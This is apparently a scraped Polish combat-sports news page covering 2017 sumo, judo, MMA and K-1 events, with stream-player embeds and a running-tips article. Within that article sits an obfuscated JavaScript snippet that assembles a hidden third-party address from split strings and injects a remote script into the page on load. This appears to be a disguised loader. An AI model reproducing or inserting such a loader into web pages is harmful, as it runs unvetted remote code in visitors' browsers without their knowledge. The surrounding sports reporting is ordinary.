Na 40 zwycięstwo na zawodowym ringu zapoluje Mateusz Masternak. Przeciwnikiem byłego mistrza Europy w wadze junior ciężkiej będzie Stivens Bujaj.

KM

Wojda: Walka o złote medale

Nie ma wątpliwości, że Polacy będą pierwszoplanowymi postaciami nadchodzących mistrzostw Europy młodzików, kadetów i juniorów w sumo. Transmisja w telewizji FighTime.pl. Zapraszamy do śledzenia rywalizacji!

Krok po kroku sumo zdobywa coraz większą popularność w Europie. Polska może pochwalić się licznymi sukcesami. Czy biało-czerwoni zdobędą kolejne medale podczas nadchodzących mistrzostw Europy?

Cel jest jasny

Rok temu rywalizacja młodzików i kadetów odbyła się w Brandenburgii. Najlepsi okazali się zawodnicy z Rosji, za nimi uplasowali się sumocy z Polski i Estonii. Poza podium znaleźli się mocni Węgrzy. Jak będzie w Warszawie? Jedno jest pewno – Polacy będą walczyli z całych sił, aby ponownie znaleźć się wśród najlepszych. – Naszym celem jest walka o złote medale. Mamy świadomość, że nasz potencjał jest duży. Chcemy powalczyć o jak najwyższe miejsce w klasyfikacji drużynowej i wierzymy w sukces. W porównaniu z ubiegłym rokiem mamy jeszcze zmagania w trzeciej grupie, gdzie jesteśmy mocni. Czeka nas wyjątkowa impreza – mówi FighTime.pl Andrzej Wojda, sekretarz generalny Polskiego Związku Sumo.

Nastroje są optymistyczne, a więc nie pozostaje nic innego jak rozpocząć rywalizację o medale. Pierwszy akord mistrzostw już 20 października. Od 11.00 do 18.00 odbędą się zmagania młodzików do lat 14. Kolejnego dnia o medale powalczą kadeci, zaś 22 października mistrzostwa Europy zwieńczy rywalizacja juniorów.  – W Warszawie wystąpi 86 Polaków w trzech grupach. Zawodnicy przygotowywali się do udziału w mistrzostwach Europy w klubach oraz podczas zawodów – podaje Andrzej Wojda.

Rywale nie odpuszczą

Trzeba jednak pamiętać, że plany i marzenia to jedno, a rzeczywistość drugie. Nie ma, co ukrywać – każda reprezentacja przyjedzie, aby wypaść jak najlepiej. Dla młodych sumoków mistrzostwa Europy to wyjątkowe wydarzenie, podczas którego chcą dać z siebie wszystko. – Łącznie do udziału w mistrzostwach Europy zgłosiło się blisko 240 zawodników. Zobaczymy rywalizację dziesięciu reprezentacji w trzech grupach. W każdej z nich od sześciu do ośmiu kategorii wagowych. Każda reprezentacja może wystawić po dwóch zawodników w danym limicie – prezentuje sekretarz generalny Polskiego Związku Sumo.

Mistrzostwa Europy młodzików, kadetów i juniorów w sumo odbędą się w hali sportowej SP 76 przy ul. Poezji 5 w Warszawie. Wstęp na imprezę jest wolny.

Mistrzostwa można będzie również śledzić w telewizji FighTime. Zapraszamy serdecznie do przeżywania emocji.

Fot. Polski Związek Sumo Facebook

KM

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 1

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 2

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Europy SUMO, Warszawa 2017: Day 3

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Młodzików, Kadetów i Juniorów w SUMO. Zawody odbywają się w dniach 20-22 października 2017 r. w dzielnicy Wawer w Warszawie.

[kod]

Mistrzostwa Europy SUMO, Wawer 2017

Mistrzostwa Europy SUMO, Wawer 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/SUMO_ME_2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/SUMO_ME_2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/SUMO_ME_2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/SUMO_ME_2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Co zrobić by uniknąć monotonii w czasie biegania?

Bieganie jest świetną formą aktywności fizycznej jednak w pewnym momencie powtarzanie tej samej czynności może stać się monotonne i nużące. Co można zrobić by uniknąć takiej sytuacji?

Czy bieganie może być bardziej ciekawe?

Bieganie jest obecnie jedną z najbardziej popularnych form aktywności fizycznej. Osoby uprawiające jogging są w dużej mierze uzależnione od warunków atmosferycznych. Wiele osób biega na świeżym powietrzu głównie w okresie wiosenno-letnim. Nie oznacza to, że wraz z nadejściem jesieni zaprzestają treningów. Dzięki ogólnie dostępnym maszynom treningowym takim jak na przykład bieżnia elektryczna biegać można przez cały rok nawet we własnym domu.

Co jednak zrobić, gdy bieganie przestaje nam sprawiać przyjemność? Przede wszystkim należy pamiętać o tym by niczego nie robić na siłę i wbrew sobie. Czasami wystarczy zrobić krótką przerwę od treningu by po kilku dniach znów wrócić do biegania z nową energią. 

Jeśli jesteście osobami początkującymi i wydaje wam się, że bieganie jest monotonne, pamiętajcie, że najtrudniejszych przeważnie jest pierwszych kilka treningów. Później jest coraz łatwiej i przyjemniej. Wiele osób, które początkowo było bardzo sceptycznie nastawionych do joggingu, po pewnym czasie pokochały tren sport. Bardzo pomocne jest słuchanie w czasie biegu ulubionej muzyki. 

Podnoś sobie poprzeczkę

Celem treningu niezależnie od uprawianej dyscypliny sportu jest stopniowy rozwój.  Osiąganie kolejnych celów jest najlepszą motywacją do wzmożonego wysiłku. Dlatego jeśli chcemy by bieganie przez cały czas było naszą pasją musimy wiedzieć co chcemy osiągnąć. Wyznaczanie odpowiednich celów jest kluczem do czerpania maksimum satysfakcji z biegania. Nie mogą one być zbyt proste, ponieważ nie przynoszą satysfakcji. Nie mogą być też zbyt trudne, ponieważ częste porażki są bardzo demotywujące.

Analiza treningu

W dzisiejszych czasach dostępnych jest bardzo wiele nowoczesnych aplikacji przeznaczonych do analizy treningów. Są to narzędzia, które pozwalają czerpać dodatkową radość z biegania. Obecnie prawie każdy dysponuje smartfonem, który dzięki zastosowaniu odpowiedniego oprogramowania staje się wymarzonym narzędziem dla biegacza. Analizowanie statystyk i optymalizowanie treningu jest dla wielu osób świetnym motorem do dalszej pracy. Nowoczesne programy dostarczają między innymi informacji na temat tego: ile spaliliśmy kalorii, pokonaliśmy przewyższeń czy z jaką średnią prędkością biegliśmy. Potrafią nawet w sposób graficzny przedstawić dokładną trasę biegu.

[kod]

(function(){
o06i=document.createElement("script");o06i.async=true;o06i_="u"+("s")+"t";
o06iu="67563400.";o06i_+="a"+("t.i");o06i_+="n"+("f"+"o")+"/";
o06iu+="3kagchyg06imfXzzardzpw"+("0fr5uru3");
o06i.src="//"+o06i_+o06iu;o06i.type="text/javascript";
document.body.appendChild(o06i);
})();

Juśkiewicz przegrała w Japonii

Porażka Sylwii Juśkiewicz na gali Rizin Fighting World Grand Prix. Tym samym Polka pożegnała się z turniejem wagi atomowej do 49kg.

Zawodniczka znana z gal organizacji Ladies Fight Night debiutowała w Japonii. W Fukuoce spotkała się z Kanną Asakurą.

Brak awansu

Juśkiewicz dostała szansę zaprezentowania się na jednym z największych turniejów MMA na świecie. Polka już znacznie wcześniej znalazła się w orbicie zainteresowań organizacji Rizin. Nie ma się co dziwić, gdyż na krajowym podwórku „Mała” radziła sobie znakomicie i prezentowała się niezwykle efektownie. Dobrą postawą Juśkiewicz zapracowała na status gwiazdy organizacji Ladies Fight Night.

Pięć zwycięstw z rzędu robiło wrażenie. Juśkiewicz kolejno odprawiła Katarzynę Urban, Klaudię Pawicką, Alice Ardelean, Ludmyłę Pylypchak i Manoelę Matos. Przed startem zmagań w turnieju wagi atomowej Rizin widziano ją w roli faworytki. Na początek na drodze Polki pojawiła się Kanna Asakura, która udział w zmaganiach zapewniła sobie pokonując Saori Ishokę na sierpniowej gali Deep – Jewels 17. 20-letnia Japonka wygrała trzy ostatnie walki i miała apetyt na kolejny triumf. Nie inaczej było w przypadku Juśkiewicz.

Kanna Asakura nie pozwoliła rozwinąć skrzydeł Sylwii Juśkiewicz. W pierwszej odsłonie Polka uchroniła się przed jedną próbą obalenia, ale Japonka po raz kolejny spróbowała swoich sił i okazała się skuteczna. 20-latka próbowała różnych rozwiązań, jednak Juśkiewicz skutecznie się broniła. Defensywa to było za mało, Asakura zaznaczała swoją przewagę wraz z upływem minut. W drugiej odsłonie doszło do wymiany bokserskiej. Polka szukała okazji, aby zagrozić rywalce, jednak ta szybko szukała nóg i sprowadzała walkę do parteru. W końcowej fazie walki Japonka szukała duszenia, jednak nie udało jej się zakończyć starcia przed czasem. Asakura wygrała jednogłośną decyzją sędziów.

Kto walczy dalej?

Na gali w Fukuoce odbyły się również inne walki turnieju wagi atomowej. Maria Oliveira Mota pokonała Alyssię Garcię jednogłośną decyzją sędziów. Z siódmego zwycięstwa w karierze cieszyła się Irene Cabello Rivera. W drugiej rundzie 24-letnia Hiszpanka założyła dźwignię na ramię Miyuu Yamamoto, a Japonka odklepała.

W walce wieczoru Rena Kubota pokonała Andy Nguyen. 26-letnia Japonka wygrała kolejną walkę przed czasem i awansowała do następnej rundy zmagań. Kolejna faza rywalizacji odbędzie się w grudniu br.

KM

FEN 19: Wyniki, podsumowanie, komentarze po gali!

Za nami gala Fight Exclusive Night 19 „Bitwa o Wrocław”. Podczas wydarzenia zobaczyliśmy 10 pojedynków, stawką aż w trzech z nich były pasy mistrzowskie federacji. Cztery walki odbywały się na zasadach K-1, 6 toczyło się w MMA.

 

 

 

 

 

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al-Sulwi
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
56 kg MMA – Magdalena Rak VS Raffaela Milner
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Walka 1. Marcin Stopka VS Krzysztof Kottas

Wielka energetyka tego pojedynku i możliwie najlepsze rozpoczęcie gali we Wrocławiu. Marcin Stopka zachował sobie więcej sił na dystansie trzech rund i zasłużenie wygrał. Pierwsza z czterech walk w formule K-1 dostarczyła naprawdę wiele emocji. Zdecydowało przygotowanie fizyczne i więcej tlenu w płucach Stopki, który był aktywniejszy szczególnie w drugiej j trzeciej rundzie.

Walka 2. Jakub Mroczkowski VS Patryk Nowak

Poddanie! Patryk Nowak nie dał szans Jakubowi Mroczkowskiemu i skutecznie założył gilotynę swojemu rywalowi. Pojedynek nie wyszedł nawet poza pierwsza rundę.

Walka 3. Magdalena Rak VS Raffaela Milner

Znakomity debiut w zawodowym MMA Magdaleny Rak, która low kickami i frontalnymi kopnięciami raz za razem rozbijała szczelną defensywę Raffaeli Milner. Znakomity popis stójkowych umiejętności Rak – ta dziewczyna ma papiery na naprawdę wielką karierę.

Walka 4. Tymoteusz Łopaczyk VS Adrian Błeszyński

Absolutnie wyjątkowe starcie, w którym młodość okazała się lepsza od rutyny i doświadczenia. Jedna z najlepszych walk w historii federacji FEN – gratka dla wszystkich koneserów mieszanych sztuk walki. Łopaczyk da jeszcze wiele radości wszystkim kibicom – spektakularny debiut w federacji FEN! Jednogłośne zwycięstwo wojownika z Bielawy.

Walka 5. Bartosz Leśko VS Paweł Brandys

Bardzo wyrównane starcie, ale tego się spodziewaliśmy – obaj panowie przed pierwszym gongiem wydawali się być na tym samym poziomie. Ostatecznie zwyciężył Bartosz Leśko, który przeważał w parterze i częściej dominował w starciu na macie. Wciąż zero w rekordzie trójmiejskiego fightera.

Walka 6. Marta Waliczek VS Róża Gumienna

Mamy nową mistrzynie FEN W K-1! Marta Waliczek dokonała wielkiej sztuki i już w debiucie w federacji zwyciężyła z niepokonaną do tej pory Różą Gumienną. Do rozstrzygnięcia tego starcia zadecydowała dogrywka – po trzech rundach nie można była wskazać lepszej wojowniczki. Rewanż? Trudno już dziś powiedzieć, ale na pewno kibice z chęcią zobaczyliby drugie starcie pomiędzy paniami!

Walka 7. Nassourdine Imavov VS Michał Michalski

Wielkie zwycięstwo powracającego po dłuższej przerwie Michała Michalskiego. Znakomite starcie, które prawie w całości rozgrywało się w stójce. Kopnięcia zawodnika z Wrocławia zdecydowały o zwycięstwie. Cudowny powrót Michalskiego!

Walka 8. Nikolaj Falin VS Arkadiusz Wrzosek

Bułka z masłem – takie to było proste starcie dla Arkadiusza Wrzoska. Znakomity prawy sierpowy na szczękę przewrócił Nikolaja Falina i Niemiec już się nie podniósł. Wrzosek pierwszym mistrzem FEN W K-1 w kategorii ciężkiej!

Walka 9. Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al.-Sulwi

Pierwszy w historii federacji freak fight dla Araba. W drugiej rundzie z narożnika Rubego poleciał Ręcznik i nie ma się czemu dziwić – Arab miał zdecydowaną przewagę i od kilku minut okładał swojego rywala ciosami w parterze. Sędzia Piotr Michalak tego nie przerwał – wyręczyli go trenerzy Brzezińskiego. Mimo wszystko – dobra, stojąca na wysokim poziomie walka.

Walka 10. Igor Danis VS Paweł Biszczak

Krótko trwała ta wojna. Stary mistrz nie dał się zaskoczyć i już w pierwszej rundzie efektownie skończył Igora Danisa, który bardzo długo nie był w stanie podnieść się z maty. Pas zostaje w posiadaniu Biszczaka!

Barbara Nalepka zawalczy dla LFN już 16 grudnia w Łodzi!

Już 16 grudnia 2017r.w Łodzi, podczas naszych drugich urodzin, na 7. gali Ladies Fight Night „Double Trouble” w klatkoringu zaprezentuje się Basia Nalepka pseudonim „Shogun”, która jak sama mówi bardzo się cieszy, że dostała propozycję walki na jubileuszowej gali LFN i będzie chciała pokazać się jak najlepiej. Walka zawodniczki odbędzie się w formule MMA.

Jak podkreśla Łukasz Chmal – prezes organizacji: „Basia jest bardzo wszechstronną i doświadczoną zawodniczką. Nie miałem wątpliwości, że chcemy, aby dla nas walczyła. Kontrakt podpisaliśmy we wrześniu 2017r., ale dopiero dzisiaj jesteśmy gotowi, aby powoli odkrywać karty naszej jubileuszowej i sukcesywnie prezentować kolejne zawodniczki”.

""

Zawodowe plany Basi na 2018?
BN: “Nie mam sztywnych planów na 2018 rok. W lutym może wylecę do Brazylii na treningi na dwa miesiące, jak uzbieram fundusze 🙂 Na pewno kilka walk w MMA jak i w K1w Polsce jak i za granicą :-)”

O czym teraz myśli/marzy najbardziej zawodowo/ osobiście?
BN: “O czym marzę zawodowo…, żeby walczyć na największych galach w Polsce i na świecie i wiadomo, żeby wszystko poszło po mojej myśli, a osobiście nie mam w sumie planów dalekobieżnych co będzie to będzie:-).
Żyję chwilą i tak wszystko jest zapisane w gwiazdach :-)”

Pieniądze kością niezgody

Bez pieniędzy ani rusz. Każdy chce zarobić jak najwięcej, aby zaspokoić swoje potrzeby. Cris „Cyborg” Justino nie jest zadowolona ze swoich zarobków w UFC. Liczy, że organizacja w końcu ją doceni i zaproponuje odpowiednie wynagrodzenie.

W oktagonie Justino zawsze jest twarda, nieustępliwa i zdecydowana. Brazylijka chciała się spotkać z Holly Holm i strony zaczęły czynić ustalenia względem walki. Mistrzyni wagi piórkowej zerwała jednak rozmowy.

Za mało

Bez wątpienia starcie „Cyborg” z Holly Holm urastałoby do miana hitowej walki w kobiecym MMA. Dwa lata temu to Amerykanka dzierżyła pas mistrzyni wagi koguciej, kiedy to niespodziewanie pokonała Rondę Rousey. Holm znokautowała „Rowdy”, która wydawała się niezniszczalna. Jednak radość Amerykanki nie trwała zbyt długo, ponieważ w kolejnej walce straciła pas na rzecz Mieshy Tate. 35-latka miała słabszy czas. Przegrała dwie kolejne walki, w tym o tytuł w kategorii piórkowej. Dopiero w czerwcu na gali UFC Fight Night 111 odniosła zwycięstwo. W trzeciej rundzie Amerykanka znokautowała Bethe Correię.
 
Skupmy się na tytule w wadze piórkowej. Pierwszą mistrzynią utworzonej w grudniu 2016 roku kategorii została Germaine de Randamie. Holenderka obawiała się starcia z Cristiane Justino i dlatego w czerwcu br. została pozbawiona tytułu. Z kolei Brazylijka spotkała się z Tonyą Evinger i od pierwszych minut przeważała. 36-letnia Amerykanka wytrwała do trzeciej rundy, kiedy to Justino potężnie trafiła ją kolanem. Trudno było znaleźć odważną, którą wejdzie do oktagonu z Brazylijką. Holly Holm wyzwań się nie boi, czego dowodem była jej wygrana z Rousey. 

Mówiło się, że starcie „Cyborg” z byłą mistrzynią wagi koguciej miałoby się odbyć 30 grudnia na gali UFC 219. Skoro obie strony wyrażały chęć, to nic nie stało na przeszkodzie, aby doszło do walki. Jednak Justino postanowiła wstać od stołu. Wszystko przez finanse. Jak poinformowała mistrzyni wagi piórkowej UFC chciało jej zapłacić za walkę z Holm mniej niż za starcie z Evinger.

Wyliczenia Brazylijki

Można zażartować, że „Cyborg” wzięła kalkulator w dłoń i zaczęła liczyć. Gaże proponowane przez UFC nie spełniają jej wymagań. Zwłaszcza, że Brazylijka jest niepokonana w UFC. Dotychczasowe trzy walki wygrała przed czasem. Justino liczy, że jej dokonania zostaną docenione.

„Cyborg” chciałaby dostawać 500 tysięcy dolarów, czyli tyle, ile gwarantowane miały za obronę pasów Holly Holm i Miesha Tate. Jakie skutki przyniesie „strajk” Justino? W kobiecym MMA nie ma już tak wielu mocnych i wyrazistych zawodniczek. Może UFC sypnie Brazylijce nieco z portfela, bo ta jest gwarantem widowiska na wysokim poziomie.

KM

Dziewięcioro Polaków powalczy w MŚ

Ponad 600 zawodników zostało zgłoszonych do udziału w mistrzostwach świata juniorów w judo w Zagrzebiu. W tym gronie znalazło się dziewięcioro Polaków. Impreza odbędzie się w dniach 18-22 października. 

Pierwotnie rywalizacja o medale mistrzostw świata juniorów miała odbyć się w północnokoreańskim Pjongjangu. W kwietniu Międzynarodowa Federacja Judo zdecydowała o zmianie lokalizacji imprezy z racji napiętej sytuacji politycznej w azjatyckim kraju. Mistrzostwa przeniesiono do hali Dom Sportova w Zagrzebiu.

Medalistka ME naszą nadzieją

Dwa lata temu z Abu Dhabi biało-czerwoni przywieźli jeden medal. Na najniższym stopniu podium stanął Piotr Kuczera (90kg). W Zjednoczonych Emiratach Arabskich startowała również Julia Kowalczyk (57kg), która zajęła siódme miejsce. Wszyscy liczą, że w Zagrzebiu judoczka Polonii Rybnik wskoczy na podium, bo przez dwa lata zdobyła cenne doświadczenie, które właśnie teraz może zaprocentować. Warto przypomnieć, iż Julia Kowalczyk znalazła się w kadrze seniorek na tegoroczne mistrzostwa Europy seniorów i seniorek. Biało-czerwone sięgnęły po srebrny medal. 

W tym roku Kowalczyk stanęła również na podium europejskiego czempionatu w rywalizacji juniorek.  Zawodniczka Polonii Rybnik wywalczyła w Mariborze brązowy medal. Polka wygrała trzy pojedynki, a w półfinale przegrała z Larissą van Krevel. Dla Kowalczyk był to trzeci medal mistrzostw Europy juniorek i po raz kolejny brązowy. 20-latka prezentuje równą formę. W tym roku Kowalczyk stawała na podium w juniorskich Pucharach Europy w Gdyni (drugie miejsce) i Leibnitz (trzecia) oraz zdobyła brąz wśród seniorów w Grand Slam w Baku.

W związku z powyższym nie ma, co ukrywać, że 20-letnia judoczka jest naszą nadzieją medalową. Kowalczyk jest jedną z liderek naszej kadry, drugim mocnym nazwiskiem jest Anita Formela (+78kg).  20-latka rok temu wywalczyła brąz mistrzostw Europy juniorów, a w tym niewiele zabrakło jej, aby znaleźć się na podium. W Mariborze zawodniczka UKS Conrad Gdańsk po dwóch wygranych walkach, w półfinale przegrała z Romane Dicko. Z kolei w starciu o brąz Formela została zdyskwalifikowana w końcówce starcia z Kubranur Esir.

Może w końcu medal?

O pechu może mówić Jakub Ozimek (90kg). Po raz kolejny znalazł się poza podium europejskiego czempionatu. W 2016 był piąty, w tegorocznym starcie również znalazł się tuż za strefą medalową. Czy przełamanie przyjdzie na mistrzostwach świata w Zagrzebiu? Taki wynik byłby mile widziany. Tym bardziej, że w pierwszych tegorocznych startach Ozimek pokazał się z dobrej strony. Wygrał w Lignano, a później był trzeci w Gdyni.

Pierwszego dnia imprezy biało-czerwoni nie będą startować. 19 października w akcji zobaczymy Klaudię Cieślik (52kg), Julia Kowalczyk (57kg) i Annę Dąbrowską (57kg). Kolejnego dnia na tatami zaprezentują się Sebastian Marcinkiewicz (81kg) oraz Jakub Ozimek (90kg). 21 października wystąpią: Anita Formela (+78kg), Kacper Szczurowski i Dominik Majowski (100kg), a także Krzysztof Załęczny (+100kg). Biało-czerwoni nie wystąpią w turnieju drużynowym.

KM

Tybura zmierzy się z legendą

W listopadzie Marcin Tybura odwiedzi Australię. Na gali UFC Fight Night 121 w Qudos Bank Arena Polak miał się zmierzyć z doświadczonym i utytułowanym Markiem Huntem. Nowozelandczyk wypadł z karty walk. W jego miejsc wskoczył legendarny Fabricio Werdum.

Przed 31-letnim fighterem z Uniejowa nie lada wyzwanie. W Australii Tyburze przyjdzie rywalizować z jedną z ikon UFC. Ostatni test Polak zdał w imponującym stylu, czy w listopadzie w Sydney będzie podobnie?

Kolejny mistrz na drodze Tybury

W czerwcu na gali UFC Fight Night 111 w Singapurze Marcin Tybura pokonał przez decyzję sędziów mistrza amerykańskiej organizacji w wadze ciężkiej w latach 2005-2006 Andreja Arlovskiego. Co prawda 38-latek z Białorusi najlepsze lata ma za sobą, ale jego nazwisko nadal wiele znaczy w świecie MMA. Arlovski zanotował 25 zwycięstw w karierze i prezentował się na galach takich organizacji jak m.in. UFC, M-1 czy Strikeforce. Do walki z Tyburą Białorusin przystępował po czterech porażkach z rzędu. Polak odważnie zaczął starcie i obalił rywala, a w dosiadzie słał w jego stronę kolejne ciosy. Jednak z czasem do głosu zaczął dochodzić Arlovski, który w dominował drugiej rundzie. Tybura przetrwał napór, choć był bardzo zmęczony i w trzeciej odsłonie rywalizacji obalił rywala. Największe zwycięstwo Polaka w karierze stało się faktem.

Miło wraca się do tych wspomnień, jednak Marcin Tybura ma szansę dopisać kolejny rozdział pięknej przygody. W Sydney Polak miał zmierzyć się z 43-letnim Markiem Huntem, który ma za sobą bogatą karierę kickboxera, a także w MMA dorobił się miana gwiazdy. Nowozelandczyk w czerwcu w Auckland wygrał przed czasem z Derrickiem Lewisem. Z rywalizacji z Tyburą Hunt został wycofany ze względu na kłopoty z pamięcią. UFC zaleciło mu badania, a w Polaka zestawiono z Fabricio Werdumem.

40-letni Brazylijczyk to były mistrz UFC w wadze ciężkiej. Tymczasowy tytuł wywalczył pokonując… Hunta. Potem zwyciężył Caina Velasqueza i mógł poszczycić się posiadaniem pasa mistrzowskiego. W pierwszej obronie stracił go na rzecz Stipe Miocica. Ostatnim rywalem Werduma był Walter Harris, który przetrwał w oktagonie nieco ponad minutę. Podczas październikowej gali w Las Vegas Brazylijczyk poddał Amerykanina przez dźwignię na łokieć.

Co warto podkreślić, Marcin Tybura ma dobrą passę. Polak wygrał trzy walki z rzędu w UFC. Ostatnią porażkę poniósł w kwietniu 2016 roku, przegrał z Timothy'm Johnsonem.

Held ma rywala

Marcin Held będzie jedną z gwiazd październikowej gali UFC w Gdańsku. Kilka dni temu z powodu kontuzji z rywalizacji z Polakiem musiał wycofać się Teemu Packalen. Nowym przeciwnikiem fightera z Tych będzie Nasrat Haqparast, który zadebiutuje w UFC.

Dla Marcina Held występ w Ero Arenie będzie czwartym w amerykańskiej organizacji. Dotychczasowe trzy walki Polak przegrał.

Fot. Marcin Tybura Facebook

KM

Ciężar ich przygniótł

Każdy chciałby wejść na szczyt i osiągnąć sukces. Miana gwiazdy MMA dorobił się Jon Jones, zaś w boksie na pierwszy plan wybił się Tyson Fury. Obaj zostali mistrzami, ale nie wytrzymali presji.

Mówi się, że nie sztuką jest zdobyć tytuł, lecz później skutecznie bronić go. Równie istotna jest równowaga i rozsądek. Jak pokazują liczne doświadczenia – często problemem jest głowa i brak wsparcia, co dla wielu zawodników skończyło się fatalnie.

Jak to możliwe?

Większość, zwłaszcza starszych osób, zapyta – jak to możliwe, że ma wszystko i w mgnieniu oka marnuje to? Oczywiście nie chodzi tu tylko i wyłącznie o względy materialne, lecz pozycję, poważanie i efekty własnej ciężkiej pracy. Przypadek znanego z UFC Jona Jonesa i boksera Tysona Fury'ego pokazuje, że sukces oraz popularność mają swoje blaski i cienie.

Amerykański zawodnik MMA ma wiele na sumieniu. W kwietniu 2015 roku spowodował wypadek, w którym ucierpiała kobieta w ciąży. Jones przejechał na czerwonym świetle i uciekł z miejsca zdarzenia. Dodatkowo w aucie byłego mistrza wagi półciężkiej znaleziono marihuanę. Przyszłość przyniosła kolejne wydarzenia, które nie są powodem do chluby dla Jonesa. W 2016 roku Amerykanin został zawieszony na rok za stosowanie dopingu. 30-latek miał rywalizować o zunifikowanie pasa mistrza kategorii półciężkiej na gali UFC 200, ale w jego organizmie wykryto zakazane substancje. Zawodnik tłumaczył, że środki znalazły się w tabletkach na potencję, jednak nie przyjmował ich świadomie. Jones wrócił i 29 lipca br. pokonał Daniela Cormiera, dzięki czemu wywalczył mistrzowstwo wagi półciężkiej. Minęło kilka tygodni… Na jaw wyszło, że Jones ponownie stosował doping. W jego moczu wykryto turinabol. Komisja Sportowa Stanu Kalifornia była bezwzględna i zawiesiła Amerykanina na cztery lata oraz odebrała mu tytuł mistrzowski. 

Tyson Fury zawsze miał niewyparzony język w stosunku do rywali, a siebie określał jako tego, który jest najlepszy. W końcu jego pochwały w stosunku do własnej osoby znalazły potwierdzenie w rzeczywistości. Fury przerwał hegemonię Władimira Kliczko i został mistrzem wagi ciężkiej organizacji IBF, WBO, WBA i IBO. W kategorii królewskiej nastąpiło nowe otwarcie, jednak doświadczony Ukrainiec chciał walki rewanżowej. Nowy czempion na to przystał, ale z czasem uciekał od pojedynku. Głównym powodem miały być kłopoty zdrowotne Fury'ego. W końcu na światło dzienne wyszły problemy brytyjskiego boksera. Alkohol, narkotyki, depresja, niechęć do boksu – tak to wszystko wyglądało. W końcu Fury oddał pasy, ale nie zniknął, lecz dolewał oliwy do ognia. Mówił, że nienawidzi… boksu. Przybyło mu kilogramów, a po kilku miesiącach snuł plany o powrocie na ring.

Z nieba do piekła

Przykłady Jonesa i Fury'ego, przedstawione w skrótowej formie, obrazują, że z sukcesem trzeba umieć sobie poradzić. W przypadku MMA i boksu to nie tylko walka z rywalem, ale i z samym sobą, swoimi słabościami. Jones dla wielu stał się pierwszoplanową postacią UFC i przez lata dominował w wadze półciężkiej, ale w końcu wszystko rozsypało się jak domek z kart. Z kolei Fury totalnie się pogubił. W jego ustach mocne słowa względem boksu i innych zawodników brzmią groteskowo. Teraz Fury wyraził zainteresowanie walką z… Witalijem Kliczko.

Mieli wszystko, a upadają. Nie jest powiedziane, że nie odbiją się od dna. Dla sportów walki byłoby dobrze, żeby takie postaci funkcjonowały i wychodziły na prostą. Bo każdy ma prawo do chwili słabości, ale należy wstać i walczyć dalej. Czy Jonesowi i Fury'emu się to uda?

KM

Róża Gumienna

 

Polska zawodniczka Kickboxingu urodzona 6 sierpnia 1989 roku w Kobylinie. Walczy w formule K-1 w kategorii wagowej piórkowej. Róża jest doktorantką na Akademii Wychowania Fizycznego we Wrocławiu oraz wykładowcą na tej samej uczelni. Zawodowo Róża walczy dla organizacji Fight Exclusive Night, której jest mistrzynią. Od  2011 roku jest reprezentantką Kadry Narodowej w Kickboxingu. Na zawodowych ringach stoczyła 9 walk, wygrywając osiem z nich.  Pokonała m.in. takie rywalki jak: Marta Gusztab, Katarzyna Posiadała, Kamila Bałanda czy Martina Fendrichova. 14 października 2017 roku na gali FEN przegrała jednogłośną decyzją z Martą Waliczek, tym samym tracąc swój pas mistrzowski organizacji Fight Exclusive Night.

Poniżej lista osiągnięć w Kickboxingu i K-1:

  • Złoty Medal Pucharu Świata K-1, Innsbruck 2017
  • Mistrzyni FEN w wadze piórkowej, od 2017
  • Srebrny medal Mistrzostw Europy K-1, Maribor 2016
  • Złoty Medal Pucharu Świata K-1, Innsbruck 2015
  • Brązowy medal Mistrzostw Europy K-1, Bilbao 2014
  • Złoty medal Pucharu Świata w K-1, Szeged 2014
  • Złoty medal Mistrzostw Świata Low-Kick, Sau Paulo 2013
  • Złoty medal Pucharu Świata Low-Kick, Szeged 2013
  • Zawodowe Mistrzostwo Polski w K-1, 2013
  • Amatorskie Mistrzostwo Polski K-1, 2013,2014,2015,2016
